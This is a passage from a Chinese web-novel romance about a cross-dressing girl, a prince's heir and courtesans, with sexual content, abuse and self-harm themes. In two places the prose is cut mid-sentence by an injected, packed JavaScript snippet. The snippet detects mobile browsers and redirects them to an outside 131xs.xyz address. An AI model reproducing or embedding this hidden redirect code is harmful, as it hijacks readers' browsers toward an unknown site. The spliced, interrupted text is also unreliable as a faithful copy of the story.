李小环本来是不想哭的,但套上绿松石手串,泪珠就一颗颗砸了下来,她想起朱砂手串被自己偷偷给卖了,心头猛地一跳,顾不上眼前浮云撑伞要扶她起来,抱着满盒的金银,她一路跑出莲青楼,最后在天和当铺,硬生生将已经睡下的老板拖起来,李小环第一次买东西不问价钱,她只将盒子往柜台一摔,对老板说:“手串,朱砂手串,我之前卖给你的,还给我!” 后来老板也没敢乱要价,李小环重新赎回了世子的朱砂手串,从那之后,她依旧是十分敛财,但从来没有再卖过裴颂简送给她的礼物。金银固然值钱,但在莲青楼待久了,她又难免觉得,心意更弥足珍贵。 “那你想要哥哥做什么呢?”浮云扯出笑,想摸下李小环的脸,但被她下意识侧头躲开,左手尴尬地停在半空,李小环反应过来,噙着笑牵住浮云的手,说:“我想要求哥哥跟我去书院走一趟,至少先稳定住王澄怀的状态,他父亲那里,我还需要他在中间疏通打点。” “你这是把哥哥卖给他了呀。”美人弯眸笑着,指肚轻轻摩挲着少女的手心,李小环刚想否认,他又垂首枕在她肩头,疲倦地合上眼,声音好似浸泡在水中,沉闷中还带着一丝颤抖,浮云问她:“你小时候说要带哥哥去江南养花,小环,哥哥等你,但别让我等太久好不好?” 我觉得我要枯萎了,小环........ 从浮云房里出来,李小环绕过花园到一隐秘的入口,拨开竹叶,熟练地推动几下门口的机关,很快进到另一处隐秘的别院,院里花丛掩映,小桥流水,布置得十分雅致。只可惜,还没走几步,李小环就听见一道巴掌声,紧接着是李则青不耐烦的一声“滚”。男人温存讨好的安抚声有些含混,像是含着血水。 李小环见怪不怪推门走到李则青的书房,果然在满地废纸当中,她正咬着笔头蹙眉思考,而柳墨书一身月牙白广袖飞肩束腰长袍,衣襟处溅着点点血滴,秾艳妩媚的眉眼噙着讨好,伸手浑不在意地擦了擦嘴角的血水,他弯腰捡起地上的碎瓷片,对李则青说:“抱歉阿青,是我的错,我不应该在你喝醉的时候偷偷趴在你身边睡觉,阿青,都是我的错,是我恶心到你了......别生气,小环来了,你们先聊好不好,我去后厨准备她爱吃的茯苓糕。” “小环?”李则青自动忽略了柳墨书的解释,抬头看到门口的李小环,眉眼舒展一瞬,而后起身拉着她做到塌上,随手在桌子上扒拉出个蔫橘子扔给她吃,问道:“你这狗腿子怎么想起你娘来了,又闯什么祸了?” 李小环笑而不语,李则青旋即瞥了眼还站在门口恋恋不舍望着她的柳墨书,眼里戾气横生,不耐烦地骂道:“你能不能赶紧滚啊?非要我再扇一巴掌才舒服是吧?” 柳墨书弯起唇角,睫羽战栗着,而后呼吸微促地笑着说:“阿青你原来知道呀?你打我的时候我会很舒服,所以刚才阿青是在奖励我吗?阿青真好,还是最喜欢阿青呀.......” 李则青一瞬间不知道该骂什么了,而柳墨书愉悦地看着她吃瘪之后,便转身关门离开了。李小环咬着橘子,不解地对李则青说:“柳墨书那么喜欢你,对你百依百顺,这些年你写的烂话本子不都是被他包了,还筹备找人帮你刊印出书.......你怎么就不能对他好一点?” “去他爹的,要不是柳墨书捣鬼,老娘早就不用待在这个破位面了!而且凭什么他喜欢我就可以囚禁我,我又不是什么物件只属于他。干他爹的,神经病,柳墨书自己神经还要折磨我,要不是没办法我真想杀了他。”李则青说起这个就情绪激动,重重拍了下桌子,喘匀了气之后才看向神态自若的李小环,说:“还有你,李小环,你虽然是妈咪捡的,但妈咪心里还是有你的,宝宝,你可得记住,千万不能喜欢裴颂简啊,记得妈咪从小怎么对你说的吗?跟着男主混可以鸡犬升天,但喜欢上男主绝对尸骨无存。” 原本在吃橘子的李小环听到裴颂简三个字,手指猛地一紧,橘子被挤破,汁水的清甜弥散开。她回过神,想起裴颂简是个断袖的事实,压抑的烦躁被勾起,不悦地反驳李则青:“妈咪你总是说世子是什么男主,是气运之子,日后有他的命定之人。可你明明压根就看不清楚这个世界,你若是什么都知道,当年柳墨书怎么不愿意跟你私奔出京,反而去和曹丞相合作,做了奕王的男宠?” 李则青愣住,平日里李小环也和她顶嘴,却还从未有过如此的敌意,她能感受到小姑娘身上的戾气,似乎不全是对着她,只是借着由头发泄而已。 想到会和裴颂简有关,李则青舔了舔嘴唇,斟酌之后拿起书拍到小环脸上,站在桌子上她指着小环骂,一副势要把她这只迷途的羔羊给骂醒的架势。 “李小环,老娘就知道你好色,死颜控,肯定不可能放过裴颂简那朵小白花。行行,就算他长得勾人,但你也不掂量掂量他的身份。那亲王府是吃素的吗?再者说了,你娘当初不就是被柳墨白那张脸迷得晕头转向,好好的系统记录员不干,非要当小丑都他开心,结果呢,人家为了复仇忍辱负重,来来回回就套出了剧情,导致系统直接关掉了我的剧情预知技能,又把我扔在这鸟不拉屎的地方十年,我的乖乖啊,十年!你知道我这十年怎么过的吗?!” 见李则青这样声嘶力竭,李小环反而冷静下来,弯腰捡起地上新写的《霸道王爷轻点宠》,好脾气地放到桌子上,又倒了杯茶给李则青顺毛:“你放心吧,我不喜欢世子,等做完和王尚书这笔生意,我在运城商会也就算扎稳脚步了,到时候我找的有关系,能从王府脱身,换个身份去运城做春十里的掌柜。” “你得了吧,在你妈面前耍什么心眼。李小环,你如果不喜欢裴颂简,就会像你对浮云一样。你也不用否认,你是我的女儿,和我最像。所以即使你知道了浮云当初接客全然是为了积攒人脉为他胞弟做官铺路,后来你依旧没有再把他放到心上过。甚至好几次谈生意,你还不让浮云去帮你拉拢对方。小环,你比我狠,但对于裴颂简,他当之无愧是你最柔软处,你对他虽有利用,但更多确实本能地守护.......”李则青看着小环逐渐阴沉的面色,笑嘻嘻地搂住她的肩膀,“当然,妈咪说这一通话不是为了教训你,而是要提醒你,小环,你是聪明孩子,不要明知不可为而为,爱和理想都是杀死傻子的刀。妈咪只希望你拥有自由解脱的勇气与力量。我一直是以你为骄傲的,小环,即使不久后妈咪离开这个位面,你也是妈咪的骄傲,知道吗?” 知道吗? 李小环怔怔地走出院落,这才发现湖底似乎布了一个铜钱阵,而院落周围也有各种符咒贴在四角,她知道这是柳墨书为了留住李则青而做的努力,一时间竟有些失笑。他竟然觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336613|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以对抗天命,真是脑子有病....... 划着船行至湖心,李小环望着自己的在水面上的倒影,风过泛起涟漪,看着一瞬间扭曲的面庞,她攥紧了船桨,忽然明白。其实她和柳墨书一样,都在徒劳地占有本就不属于自己的人。但不同的是,她比柳墨书看得开,既然裴颂简的天命之人不是自己,那......玩玩他?男子也没什么清白之说?只要把他哄床上了,这个便宜不占才是傻子吧? 哈。 忍不住笑出声,李小环伸出船桨戳了下自己的倒影,骂道:“你他爹的还真是个畜生。” 裴颂简在莲青楼门口等了很久,直到日影西斜,暮色落在他身上,明暗的交界线横亘在少年的眉眼之间。不知第几次望向门口,连卖脂粉的大娘都忍不住问:“小公子到底在等谁呀?” “等......等.......”裴颂简张口却竟不知道怎么介绍小环,他不敢确定小环是否愿意为他违背世俗,裴颂简不在乎自己的名声,却到底不愿小环被旁人议论。一直之间说不出来,而刚好,这时小环笑眯眯地拿个了小手炉,跑过来塞给裴颂简,“等得时间长了吧,世子,你看,我给你拿的小手炉,快揣袖子里。咱们趁着天黑之前赶紧回书院去。” 原本沉寂的心一下被填满,手心温热,裴颂简目不转睛地盯着小环,目光巡视了一遍她身上,没有发现异样的痕迹,发髻也没有乱。他乖巧地点头,又蹭到小环怀里,嗅了嗅她的衣襟,目光阴沉下来。 一股兰花香味,也不知道是哪个狐狸精身上的骚气。 但裴颂简不会现在发作出来惹小环不快,他咬住舌尖,挽出笑牵住小环的手,余光瞥了眼大娘了然的神色,少年又生出隐秘的欢喜来,正准备和小环一起离开时,却听见一道清越的声音喊了小环的名字,莲青楼里走出一个戴着帷幕的男子,确然影影绰绰的遮着面,但仍能看出清艳的眉眼轮廓,更重要的是那股柔情似水的气质,好似不管你做什么,他都能敞开身子原谅。 “忘了,这个就浮云公子。我请他一同到书院,见一见王公子,劝他放下执念,也算是了了王公子一桩心事。”李小环客套地朝裴颂简介绍着浮云,青年攥紧手指,却仍柔弱地笑着,面上没有一丝不快,朝着小环身侧的少年点头示意。 裴颂简心里警铃大作,挽住小环的胳膊,近乎仇视地看着浮云,他没有回应,反而是搂住了小环的腰,挑起眼尾笑了笑:“既是王澄怀的相好,那自然要以礼相待,这样吧,我另外让刘叔调一台轿子将公子抬到书院门口,反正你也不是清和书院的学生,自然也不用辛苦爬那节登云梯是不是?” 听着裴颂简话里话外的讥讽,李小环微微蹙眉,瞪了他一眼,转身对着笑容勉强的浮云,却是温和地换了个说法:“山路艰难,我还要照顾世子,确实分不出心神照看公子。王府的脚夫脚程都稳,公子可以放心,必定会送您安全到达书院。” 裴颂简挑眉,望着浮云攥紧的衣袖,畅快地舒了口气,低头亲昵地蹭了蹭小环,他止不住想:狐狸精又怎么样?还不是靠着那么一副贱肉勾引人。床上伺候人那些事,他们会,本世子也会。 更何况,捏着小环的指尖把玩,裴颂简愉悦地眯眼笑,心道:他们可以给很多人睡,而我只会为小环张开腿。本世子才是最干净的,干净地爱慕着小环。 王澄怀是临近子时才醒,尚书府明日才会派人来,而这个间隙,刚好用来给他和浮云“互诉衷肠”。裴颂简被王妃身边的刘管家给绊住,而李小环这才得空到王澄怀舍房外看了一眼。 烛台已经灭了一盏,王澄怀抽泣的声音很重,但渐渐消下去之后,又被窸窸窣窣的衣料摩挲声代替,李小环瞅准时机,猛踹了一下门然后大喊道:“黄页!滚滚滚滚,发情去后院自己解决去,别打扰王师兄休息,一会王师兄又该不想活了。” 黄页是书院里的看门狗,经常乱窜,一发情就喜欢到各个舍房撒尿,学子们也是苦不堪言。果然,屋里的声音顿时止住,王澄怀慌乱地从床上坐起来,而浮云也慢慢理好衣襟,又用铜盆里的湿帕子擦了擦脖颈,最后在小环端着药笑眯眯地推门进来后,站在一旁阴影中,安静地望着她。 但李小环并没有注意他,只是和王澄怀寒暄几句,而后又用莲青楼的名义将浮云带出去,直到走过前院,她才转身朝浮云笑了笑,拿出捂在怀里的绿豆糕递给他,好声好气道:“辛苦浮云哥哥了,我已经和王尚书通过气,运城那单和胡人的声音马上要成了,届时小环就能脱离京城自立门户了,少不得都是哥哥的辛苦帮忙。” “真好啊,小环。”他走近一步,伸手摸着小环的头发,恍惚间又好像看到了当年自己的胞弟,他是那样可怜地求着自己,求浮云为他的官途,答应做徐翰林的相好。浮云和胞弟没有相处多长时间,他被家中嫡母以驱邪的借口送到怀安寺,又在寺庙里被师兄强迫,浮云好不容易跑出来,柳墨书收留了他,但却明明白白地告诉浮云:“既然当了伎子,就别想什么狗屁知心人,没人都看得上我们这些男伎,还不如攒钱傍身,到时候有底气,真瞧上谁了,拿钱砸也把她砸晕,不行就锁在身边。得不到爱,得到恨,得到辱骂和殴打,那都是好的。” 浮云刚入莲青楼就被派去照顾李则青,而李则青又让他照顾李小环。小环很聪明,会讨楼里哥哥们的欢欣,也能逗得客人开怀大笑。而他笨嘴拙舌,几次被其他男伎欺负,还得小环冲上来保护。那时候浮云以为自己会为了小环豁出去所有。但他的胞弟却意外和他相认了,作为庶子,胞弟的科举之路很是艰难,他哭着跪着地上喊浮云哥哥,浮云心里却只有满满的痛楚。他本来是一个人,一颗完整的心只想给小环。可现在,他又要剖下一半给血亲,至于小环,她好像也看不上他只剩下一半的心。 后来胞弟踩在浮云在床榻上睡出来的青云路,官至四品,但在元宵灯会,遇到浮云陪客人游船时,望向他的目光里尽是嫌恶与冷漠。他甚至劝慰徐大人不要对风尘之人浪费心思。多么正直的青年呀,浮云望着他笑,心底满当当的酸涩之下竟是些许的欣喜。终于,终于他此后完完全全一颗心,可以全部给小环了。 49.在古早虐文里女扮男装当狗腿子(完) “你到了运城,会带上哥哥吗?小环,哥哥不会拖累你的,哥哥可以......可以帮你爬床,你想要哥哥伺候谁,哥哥就去伺候谁,你、你带上我。”浮云说着情绪有些激动,眼尾晕开一片湿红,攥紧了少女的手腕,几乎将她整个人圈在怀里。 手肘抵住浮云的肩膀,李小环挣开他后退几步,察觉到浮云情绪不对劲,不想刺激他,便笑着敷衍道:“当然,我念着浮云哥哥的好呢。到时候莲青楼的哥哥们只要想,都能去运城投奔小环。只是现下一切还起步,小环有心无力呀。浮云哥哥在等等,啧,现在天不.......” “小环!你干什么,别让他碰你!” 少年愤慨的声音响起,刺破小环和浮云之间微妙的气氛,裴颂简踉跄着冲过来,直直撞进小环怀里。她自然地伸出胳膊拖住裴颂简,揉了下少年的腰,还没问他怎么跟过来了,就被裴颂简挡在身后。 只见他指着浮云,丝毫客气也没有,直白地说:“拿你的脏手不要碰小环!你随便去和什么王公子许公子上床都无所谓,但不许惦记小环,她有我呢!她有我!” 李小环见少年越骂越过分,便扣住他的腰将裴颂简强硬拖走,目光只是歉意地略过站在阴影里的浮云,只看到一截苍白的后颈,好似融化在初春里的残雪。她心头微微刺痛,但很快,世子气愤的眼泪掉在她手腕,小环立即忽略了这点异常,半搂半抱将裴颂简摁在了舍房的床榻上。 少年被摁在床上,委屈地将脸埋在被褥里,双膝被小环抵开,软绵绵地挣扎几下,裴颂简便懒得装了,偷偷露出一只湿润的凤眼瞧着小环,翘起唇角好似偷腥的狸奴,骄纵道:“还好你今日是拒绝了那个浮云,不然我指定要跟你闹一夜,小环,不要看别人好不好?你就不能只看着我吗?” 转过身,裴颂简伸手搂住小环的脖颈,轻轻蹭着她柔软的脸颊,撩起眼尾喘了口气,唇瓣摩挲着她微凉的耳垂,轻声道:“我哪里都可以给小环看,小环......你要吗?” 小环的眉眼在月光下,显得愈发清冷,茶褐色的眼瞳里蕴着沉沉浮浮的光影,她伸手摩挲着裴颂简的后颈,解开腰带绑住少年的手腕,他倒在床上,目光却潮湿滚烫地仰望着小环,抬起一条腿轻轻蹭着她的侧腰。 慢条斯理地解开外衫,一件件里衣,最后,李小环望着眼尾湿红呼吸急促的少年,他们相互陪伴着彼此长成如今的模样,说实在,在裴颂简面前宽衣解带,李小环并没有多少羞耻感。反而心底隐隐觉得轻松,终于不用再装什么翩翩少年正人君子。她就是一个蝇营狗苟的烂人,一切所求,为利,更为欲。而她此刻的欲,是身下的世子。 “你喜欢男人?世子。”捏着衣襟,李小环最后平静地问着裴颂简。心里却已然想好,若是裴颂简喜欢男人,那么她就吹了灯,蒙上眼带着那些物什上了他,反正少年未尝情爱,第一次在紧张与黑暗中只怕也分辨不出来什么。而若是他不喜....... “我喜欢的是你,小环。”裴颂简含着泣音的回答打断了小环的思绪,他不知为何,心底的委屈顿时决堤,他紧紧搂住小环的脖子,泪珠一颗颗掉在她的颈窝。多年来压抑的爱慕爆发,他控制不住地战栗,咬破了舌尖,才忍下撕咬小环的冲动,他虔诚地将吻落在小环眉心,他像投降一般哭着坦白:“我喜欢是你,小环,你是男人女人,对我都没有区别.......便是现下你告诉我,你是鬼是妖怪,我也会乖乖引颈待戮,献上一身皮肉只要你开心。别拒绝我,也别玩弄我,小环,我不是断袖,但我爱你,我爱的只是你。” 李小环一瞬间,不知为何,忽然有种失重感,像被迎头撞进春日晒暖的湖水中。她沉溺在一片少年柔软而温暖的爱慕中,慢慢摸索到他的手腕,而后紧紧地十指相扣,摁过头顶。 “好啊,”她弯眸轻笑,竟是柔美而清丽,乌发披散在肩头,呼之欲出的事实扼住了裴颂简的脖颈,他雪白的脸颊泛起潮红,只见小环俯身,柔软的身子贴近了他,两条柔软的小蛇在春夜里摩挲缠绵。小环回给他吻,却更用力地咬破了他的唇瓣。 他明白小环,她要他痛,这样她才感到被爱。所以裴颂简抿开血珠,艳丽地露出笑意,仰脸又一次送上自己的柔软。 为他的,少女小环。 “世子,小环就是女人,可小环还是只想上你。” 你是我的,阿简。 裴颂简和李小环之间的情事,倒是没有人看出来。也不是他们瞒的有多好,只不过世子打小就过分依赖身旁的小厮,在京都圈子里算不上新鲜事,众人只当世子年纪小,腿脚又不便,依赖李小环的照料,不过是将她当做趁手的拐杖罢了。毕竟两人身份悬殊,又都是少年郎,怎么看都不可能。 清和书院年考结束之后,刚好又赶上禾嗣节,学子们一下山,大部分都直接呼朋引伴去街上游玩逛庙会,徐长安在城门口骑着马别别扭扭地挡在李小环前面,李小环骑得是裴颂简的照夜玉狮子,脚程极快,只是世子昨夜“操劳”,现下双腿之间还有些刺痛,所以李小环骑得很慢,这才让徐长安拦了下来。 她不悦地蹙眉望向他,徐长安慌乱地哼了一声,别过脸说:“今日本小爷心情好,请你去吃酒放灯,酒可是我爹私藏的女儿红,你.......” “不喝,滚,别挡路,一会花神游会结束了,我还要去给世子编花环呢。” 裴颂简坐在小环身后,搂着她的腰,本来已经准备发飙。但骤然听见小环这样果断的拒绝,怒气反而一下子被击溃,心头因为她那句编花环变得软软的,嘲弄地看着尴尬的徐长安。 故意把下巴搭在小环肩头,裴颂简贴她更紧,唇瓣若有似无地摩挲过她的耳畔,轻笑着催促:“别和傻子浪费口舌了,小环,我饿了,你陪我去吃鲜虾云吞面吧。” 李小环大约能察觉出裴颂简的小心思,但她挺乐意纵容他的,从小面对貌美病弱的世子,她就总怀着一种养花的小心翼翼,生怕他折在风雪里。所以她对他的底线低。此刻也是,面对徐长安古怪探究的视线,小环没有解释,只是扬鞭直接撞开徐长安,他惊恐地勒马躲避,直到小环载着世子纵马进入主街,一阵飞扬的尘土中掩映着少年人紧密相拥的背影。 徐长安的心渐渐沉下去。他低估了裴颂简的无耻纠缠,也高估了李小环的克制与理性。 总之错了一步,注定只能看着她的背影了。 这次的花神游会比以往更加热闹盛大,礼部亲自组织布置,刚好用来迎接邻国使臣。而李小环牵着裴颂简挤在人群里游逛,两个人头上都戴着鲜艳的花环,路过莲青楼时,少年攥紧了她,几乎要把小环的手指给捏断,她只好拽着他快步离开,而一瞬间,阴冷凄凉如雪的目光却又落在她背上。李小环抬头,二楼漆红的栏杆上只搭着一株开败的山茶花。她却没有说什么,目光凝了凝,转身揽住世子的细腰,一同钻进欢声笑语的海里。 “可我不管!哥哥,我就要他做夫婿,我说过要最最漂亮的少年做我的夫婿,他好看,我要他!” 花神游会快结束时,裴颂简借口支开小环去给他买糖山楂,好让他趁机去朱剑阁去取他给小环设计铸造的佩剑,然而还未走到,裴颂简就被一个异国容貌的女子拦下,她和身边留着浓密络腮胡的男人说要绑了他做夫婿。 裴颂简心烦,上下打量一番,大约能猜出他们兄妹就是紫罗国的皇子皇女,也是这次的使臣。他不想惹上这个麻烦,刚要直接离开,却看见母妃身边的眼线躲在人群中探查这边的情况。脑海中一瞬间闪光,他忽然就想明白了这对兄妹怎么就这么巧,刚好遇见了下山的自己。一股压抑的恨意攀上心头,裴颂简有些古怪地挽起唇瓣,余光瞥到挤开人群朝自己走来的小环,恨意和爱慕拉扯着他的心弦。裴颂简环视一圈看客,恰似戏剧拉开帷幕,他平淡地望着紫罗国的公主,一字一句道:“多谢公主厚爱,可我已有心上人,并且.......” 转身朝着人群中神色复杂的小环招了招手,她蹙眉望着他,但到底还是抱着糖山楂朝他走了过来。裴颂简亲昵地攥住她的手指,伸手给她挽了下颊边的碎发,目光温存地望着小环,裴颂简笑道:“而且我与小环已有床笫之欢,她为上,我屈下.......” 人群骤然嗡鸣,小环望着不远处王府的眼线离开,她瞥了瞥笑意撩人的少年,掰开他的手指,将糖山楂放到他的手心,第一次冷静却又不容拒绝地望着裴颂简,她说:“原不想这么快离开你,阿简,但我不想做你和王妃斗法的牺牲品。我想活着,好好活着。你记住,我最爱是我自己,你也应该......抱歉.......” 话音刚落,世子的笑意还僵在嘴角,李小环挥手砍在他的后颈,将晕倒的少年接在怀里。她想到这大抵是这一生最后一次抱他,就忍不住收紧了手臂,脸颊埋在少年柔软的颈侧。她深吸一口气,再抬头后,望着人群中的徐长安,小环挑眉,将世子交给他:“我们也算是从小打到大,徐长安,我不想死,你也不想我死吧?” “李小环你他娘到底想干什么?”徐长安还未从方才的震惊中缓过神来,咬牙切齿地瞪着李小环。而她只是弯唇笑了笑,狡黠道:“狡兔三窟,你帮我把世子送回王妃,我要离开京城了。以后记住,这世上也不会有李小环了。” “可是我.......”少年不甘地望着她的背影,涨红着脸,还未说出最后一句话,李小环却忽然转身,浓艳的暮色下,她挥了挥手,发带飘扬:“日后小将军保家卫国,若筹粮草,其中当有我送去一份。山水不相逢啦,长安。” 昌平十六年,禹庆王府疯癫的世子被送去青云山驱邪养病,三年后终于回京,弱冠之年的世子涤风漱雪,清俊端方,一双美目含情,神色却又疏离冷漠。端是一副无情也勾人的模样。 之前关于世子断袖的谣言,也在他同张国公的次女订婚之后,不攻自破。婚期定在了裴颂简科举及第的第二年,他没有靠家族荫封,考中的是探花,直接进入翰林院。 因为裴氏祖坟在淀江,所以婚宴也定在了老宅那边。而此消息一出,许多闲客专门为了一睹世子的风采,乘船南下,守在淀江早早地等着。 京中这些年变化颇多,其中莲青楼忽然倒闭,幕后老板抱棺自焚,而运城商会则借助和北面胡人的贸易往来,渐渐得到朝廷助力,在莲青楼的废墟上开起了运城商会。其中春十里这个皮草店开遍了霞裕关以北的地带,是这几年最为商人瞩目的店铺。而其背后老板,却是个初出茅庐的姑娘,只不过听说背后势力复杂,官匪两道都有结交,寻常人还动不得她。 而此时,传说中涉猎黑白两道的传奇人物李小环正蹲在山上烤红薯,因为火折子受了潮,她试了半天才点上火,和她一起押货的碧云寨的姐妹正抱剑靠在树下,恨铁不成钢地怒视着她。 昨夜在山中遇到风雪,躲在山洞里的时候,为了提神防止睡过去,李小环便隐去裴颂简的身份,挑挑拣拣给姐妹们讲了她和世子之前的往事。而说到裴颂简再有一个多月,也就是她们交完京城这批货之后,就要成婚了。碧云寨的阿虾直接拍剑而起,怎么说都非要替李小环把新郎给绑回运城。 “算了吧,运城苦寒,他身子骨弱,受不住这么冷的风雪。” 李小环死死拦住阿虾,将她稳住之后,缩了缩脖子丧气道:“你们不懂,他的命定之人不是我,注定不会有结果的事情,不值得冒险。” “你不强求怎么就知道没有结果?!” 阿虾抱着她的肩膀吼,而小环耳朵嗡嗡的,目光发虚,恍惚间却好似回到了离开京城的前一夜。那一夜世子在王府燃着红烛苦等她,而李则青则喝了五六坛女儿红,抱着她又哭又笑,最后天亮之前,她的影子已经消失了,皮肤趋近于透明,但李则青却仍然紧紧抱着她,像是即将消散的温和月光。 她落了眼泪,手指在虚空中摩挲着李小环泪湿的脸,“我的小宝,乖宝,不哭。你是我的小雀呀,即便世人都说你不起眼,可我的小雀,翅羽却依旧可以掠过青云,只要你愿意,乘风逐月,无往不去。” “别哭,我的小宝。你知道妈咪等这一刻已经很久了,我要飞去我的天空了。你最后记住,你是妈咪最骄傲的小雀,所以别怕,我爱你。” 那一夜李则青对她说了很多话,甚至违背所谓的系统,忍着剧痛提醒她,关于裴颂简的主线剧情,是和强取豪夺有关,只怕他的有缘人该是个极霸道的性子,所以她千万不能招惹,好好活着才最重要。 如今三年后,阿虾又在她肩头捣了一拳,她颓丧地靠在石壁上,凌乱的碎发遮住眼睛,唇畔噙着笑,只是低声道:“是我丢了他,他总是求我不要玩弄他,不要抛弃他。我都答应了,但我一件都没有做到。” 青云寨的姐妹们一时之间也不知该如何安慰她,三年前他们还是运城附近村庄里被逼上绝路的寡妇和孤女们,因为从小跟着猎户在山里讨生活,所以被逼上绝境后就索性聚集起来截道度日,她们原以为等到开春官府腾出手就会剿灭了她们,可比官府先到的是李小环,那个清瘦单薄的少女,她穿着毛皮大氅,整个人就像一只裹在绒毛里的云雀。 她让她们做春十里的供货商,和村子里那些男猎户一个价位收皮子,至于住处的问题,问过她们的意见之后,李小环索性在开春后请了工匠在山里建寨子,她们没有再回吃人的村子里,而是建立了属于她们和李小环的青云寨。 某种意义上,李小环既像她们的妹妹,又像她们的领袖。而一向生机勃勃爽朗爱笑的少女,此刻耷拉着脑袋怀念故人,她们心里也像堵住了一样,恨不得现在就把那个阿简绑到小环床上。 淀江祖宅,裴颂简只披了件长衫,屋里炭火早已熄灭,窗外细密的雨线倾斜着落下。刘管家早起时还说下过这场春雨,淀江就真的要迎春了,恰好是成婚的好日子。听到成婚两个字,裴颂简面色白了白,捂住嘴轻咳了几下,而后倒了晨间的汤药,直接把自己关在书房处理京城那边送来的公务。 王妃这时推门而入,看到裴颂简伏在桌案上咳嗽,便走过去抚了抚他单薄的脊背,但却在青年抬头的瞬间狠狠掐住他的下巴。 “阿简,母亲有没有告诉过你,你喜欢的是一个烂人,而那个烂人恰好还抛弃了你。你一个世子,白白被她糟蹋了。母妃关你三年,好不容易把你救过来,难不成.......” 她逼视着裴颂简死寂的眸子,想起三年前他腕间鲜血淅沥,而他就右手指尖蘸着血在画布上描摹李小环的模样,见到她的一瞬间,苍白的少年却又解恨似的弯唇轻笑,问道:“母亲,你看,我画的小环......多像了,好像她马上就要钻出来抱抱我了.......冷,我有点冷了,小环........” 此后王妃收走了裴颂简身边所有的利器,而后将他送到青云山软禁起来,这次她亲自陪着他,而效果似乎也不错,裴颂简虽然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336614|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日日沉寂下去,却也再没有自残过。只是从李小环离开之后,裴颂简就不能下地走路,她像是带走他的双腿,即便强硬架起世子,他也只能一遍遍狼狈地摔到,直到膝盖血肉模糊,也始终迈不出去一步。 好在虽然双腿残疾,但裴颂简却变得乖顺听话,再也没有忤逆过她。科举和婚嫁,全是听凭王妃的安排。这次回到淀江老宅,王妃感到出了一口气的同时,心底却隐隐泛起担忧,她总觉得裴颂简越来越像一抹影子,从前他满心满眼都是李小环的时候,各种又爱又恨鲜活的情绪衬托得少年好似一株沾满朝露的海棠花,可如今他就像那香炉沉寂的灰一样,一阵春风过,只怕就要消散了。 裴颂简吐掉口中的血水,他已经习惯了母妃无能为力的愤怒,但裴颂简已经懒得恨她,因为.......算了,他说好今日一定不要再想起那个负心人的。 提起笔重新凝神到公文上,裴颂简却忽然听见窗户咣当一声,还未叫人查看,就听见前院祠堂似乎走水了,院子里乱糟糟的全是拎着水桶的下人。而裴颂简双腿无力,揉着膝盖想要跪起身,下一刻却被捂住口鼻,他只来得及叫出一声含糊的小环,脖子一软,便已经倒在了身后人的怀抱里。 抱紧怀里愈发清瘦的世子,李小环不知道的是,其实裴颂简刚才根本就没有看清他的脸,他口中的小环,恰似信徒在绝境里的呼救。裴颂简根本不在乎小环听不听得到,在这三年一千多日夜的折磨里,她已经成了一个行尸走肉之人最后的信仰。 李小环,你尽管笑话我吧,我竟然又想起了你,是我贱。 李小环就是个烂人,她自己十分了解自己。 虽然面对阿虾她们,李小环真情实感地表示不愿意打扰故人,但行至淀江,她在码头点货时,远远地瞧见故人苍白消瘦坐在轮椅上,被下人推着在街上买喜烛的时候,她还是一下就折断了手里的毛笔。 淀江畔的风撩起世子的青丝,他回眸无悲无喜地重新挽了下发梢,李小环只是看到一眼那雪白的脖颈,心头就止不住地发烫。 他爹的!好想上他........ 于是那晚李小环让阿虾她们压着货先走,而她则在裴府周围蹲点了三天,所以裴颂简夜间啜泣着惊醒时,她看得到。裴颂简崩溃地捶着腿跌到在地上的时候,她也看得到。裴颂简倒掉汤药一心求死的时候,她更看到。 李小环明明白白地看得到,让裴颂简不爱她,根本就是让他死。 连夜租马车往北去,李小环寄信给阿虾她们,信中简单到只有一句话——携故人,和春归。 而裴颂简那日半夜醒来之后,在颠簸的马车里看到李小环,却是一点反应都没有,安然地端坐在靠窗的位置前,掀开车帘看了一下路况,之后就再未发一言,只是倚在车壁上阖眼休憩。 “别睡,裴颂简,你别睡呀,你就没有什么话对我说吗?”李小环见他竟然不理自己,记得坐过去直接攥住裴颂简冰凉的指尖,凑到他眼前急切地追问。 纤长的睫羽颤了颤,裴颂简任她牵着,目光却仍旧一片死寂,只是陈述道:“你这次的手,暖和很多,但这个路,太颠簸了,我会想吐。” “我是为了赶路呢,我带你回运城去,运城你知道吗?阿简,虽然有点冷,但我开的是皮草店,给你做最贵的氅衣,裹得严严实实的,养得白白胖胖的,好不好?” 李小环又得寸进尺地抱住他的腰,裴颂简下意识颤栗着挣扎了一下,可感受到怀里人的温度之后,他又渐渐软下身子,伸手想要落在她脸上,但隔了几寸的距离,裴颂简仍是放到了自己的膝盖上。 声音含着不确定的狐疑,他余光瞥着怀里的姑娘,自说自话道:“你这次......这次停留时间好长,是我快死了么?为什么......为什么这次居然可以被你抱住?” 李小环越听越不对劲,反应过来才明白他是把自己当成臆想了,一瞬间心头沉甸甸的,挤满了酸涩的泡沫。她勒紧裴颂简的腰,仰头咬住青年泛白的唇瓣,蛮横地啃咬,又心疼地轻轻舔舐,勾着他回应,最后在快要喘不过气时,那双小心翼翼抬起的手终于扣在她的后颈上。 